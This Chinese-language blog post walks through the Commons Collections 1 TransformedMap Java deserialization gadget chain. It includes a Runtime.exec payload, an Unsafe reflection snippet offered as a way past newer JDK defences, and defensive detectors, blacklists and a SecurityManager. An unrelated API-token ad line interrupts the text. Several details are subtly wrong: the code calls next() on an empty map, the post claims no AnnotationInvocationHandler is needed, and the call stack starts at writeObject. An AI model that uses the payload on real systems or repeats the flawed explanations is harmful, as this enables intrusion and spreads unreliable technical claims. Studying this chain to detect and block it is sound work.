1. 项目概述:CC1 TransformedMap链的代码审计实战
在Java安全研究领域,反序列化漏洞始终是攻防对抗的核心战场。最近在审计某金融系统时,我通过反向调试成功复现了Commons Collections 1(CC1)链中TransformedMap的利用过程。这个经典攻击链虽然已有多年历史,但直到2023年仍在某些未打补丁的老系统中发挥作用。
1.1 为什么选择TransformedMap链
相比常见的LazyMap利用方式,TransformedMap链具有几个独特优势:
- 触发点更直接:通过MapEntry的setValue方法即可触发transform方法
- 依赖更少:不需要AnnotationInvocationHandler的配合
- 兼容性更好:在JDK 7u21及以下版本稳定可用
重要提示:本文所有实验均在隔离环境中进行,实际审计请务必遵守法律法规
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与调试配置
2.1 实验环境搭建
bash复制# 使用Docker快速搭建测试环境
docker run -it --name cc1-lab -v $(pwd):/workspace openjdk:7u121 bash
# 安装必要工具
apt update && apt install -y vim gdb
需要准备的JAR文件:
- commons-collections-3.1.jar
- javassist-3.22.0-GA.jar(用于动态修改字节码)
2.2 IDEA调试配置技巧
- 创建Maven项目时添加VM参数:
code复制-Dsun.desktop=Java
-Djava.awt.headless=true
- 关键断点设置位置:
- TransformedMap.checkSetValue()
- InvokerTransformer.transform()
- ChainedTransformer.transform()
- 开启调试日志:
java复制System.setProperty("org.apache.commons.collections.debug", "true");
3. Payload构造全解析
3.1 核心组件拆解
CC1链的核心在于四个关键组件协同工作:
| 组件 | 作用 | 触发条件 |
|---|---|---|
| InvokerTransformer | 反射调用任意方法 | 需要传入方法名和参数 |
| ChainedTransformer | 形成调用链 | 多个Transformer顺序执行 |
| ConstantTransformer | 固定值转换 | 提供初始参数 |
| TransformedMap | 触发转换机制 | Map条目被修改时 |
3.2 分步构造Payload
java复制// 1. 构造命令执行转换器
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
// 2. 创建转换链
Transformer chainedTransformer = new ChainedTransformer(transformers);
// 3. 初始化空Map并包装
Map emptyMap = new HashMap();
Map transformedMap = TransformedMap.decorate(emptyMap, null, chainedTransformer);
// 4. 通过Map.Entry触发
Map.Entry entry = (Map.Entry) transformedMap.entrySet().iterator().next();
entry.setValue("anything"); // 触发点
3.3 常见构造误区
- 参数类型不匹配:
- 错误:直接传递String参数给需要Class类型的方法
- 正确:使用
new Class[]{String.class}明确参数类型
- 调用顺序错误:
- 错误:先调用exec再获取Runtime实例
- 正确:必须严格遵循
getRuntime -> invoke -> exec顺序
- Map初始化问题:
- 错误:使用非空Map初始化TransformedMap
- 正确:必须从空Map开始装饰
4. 反向调试实战技巧
4.1 关键调用栈分析
完整调用链路径:
code复制HashMap.writeObject()
-> TransformedMap.entrySet()
-> MapEntry.setValue()
-> TransformedMap.checkSetValue()
-> ChainedTransformer.transform()
-> InvokerTransformer.transform()
4.2 动态修改技巧
当遇到防护措施时,可以使用Javassist动态修改关键类:
java复制ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get("org.apache.commons.collections.functors.InvokerTransformer");
CtMethod m = cc.getDeclaredMethod("transform");
m.insertBefore("System.out.println(\"[DEBUG] Input: \" + $1);");
cc.toClass();
4.3 绕过现代防御的方案
针对高版本JDK的防护措施:
- Unsafe反射绕过:
java复制Field f = Unsafe.class.getDeclaredField("theUnsafe");
f.setAccessible(true);
Unsafe unsafe = (Unsafe) f.get(null);
Class cls = Class.forName("java.lang.reflect.AccessibleObject");
Field overrideField = cls.getDeclaredField("override");
long offset = unsafe.objectFieldOffset(overrideField);
- 使用AnnotationInvocationHandler替代(需JDK<8u71)
5. 审计中的实战应用
5.1 漏洞识别特征
在代码审计时重点关注以下危险模式:
- 反序列化入口点:
java复制ObjectInputStream.readObject()
XMLDecoder.readObject()
- Commons Collections使用痕迹:
java复制import org.apache.commons.collections.*
import org.apache.commons.collections.functors.*
import org.apache.commons.collections.map.*
5.2 自动化检测脚本
使用ASM编写简易检测器:
java复制public class CC1Detector extends ClassVisitor {
private boolean hasInvokerTransformer = false;
@Override
public MethodVisitor visitMethod(/*...*/) {
return new MethodVisitor(/*...*/) {
@Override
public void visitMethodInsn(/*...*/) {
if ("org/apache/commons/collections/functors/InvokerTransformer"
.equals(owner)) {
hasInvokerTransformer = true;
}
}
};
}
}
5.3 修复方案对比
| 修复方式 | 优点 | 缺点 |
|---|---|---|
| 升级CC版本 | 彻底解决 | 可能影响旧系统 |
| 使用SerialKiller | 无需修改代码 | 性能开销较大 |
| 重写ObjectInputStream | 灵活可控 | 实现复杂度高 |
6. 深度防御建议
- 输入验证层:
java复制public class SafeObjectInputStream extends ObjectInputStream {
private static final String[] BLACKLIST = {
"org.apache.commons.collections.functors",
"com.sun.org.apache.xalan.internal.xsltc.trax"
};
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
for (String forbidden : BLACKLIST) {
if (desc.getName().startsWith(forbidden)) {
throw new InvalidClassException("Forbidden class: ", desc.getName());
}
}
return super.resolveClass(desc);
}
}
- 运行时防护:
java复制SecurityManager manager = new SecurityManager() {
@Override
public void checkPackageAccess(String pkg) {
if (pkg.startsWith("org.apache.commons.collections")) {
throw new SecurityException("Collections access forbidden");
}
}
};
System.setSecurityManager(manager);
- 日志监控策略:
- 监控反序列化操作频次
- 记录异常转换器调用
- 审计Runtime.exec调用链
在实际项目中,我通常会结合静态代码扫描、动态行为监控和输入过滤三重防护。最近处理的一个案例中,发现某系统虽然升级了CC版本,但通过类加载机制仍可加载旧版JAR,最终通过Hook ClassLoader解决了问题。
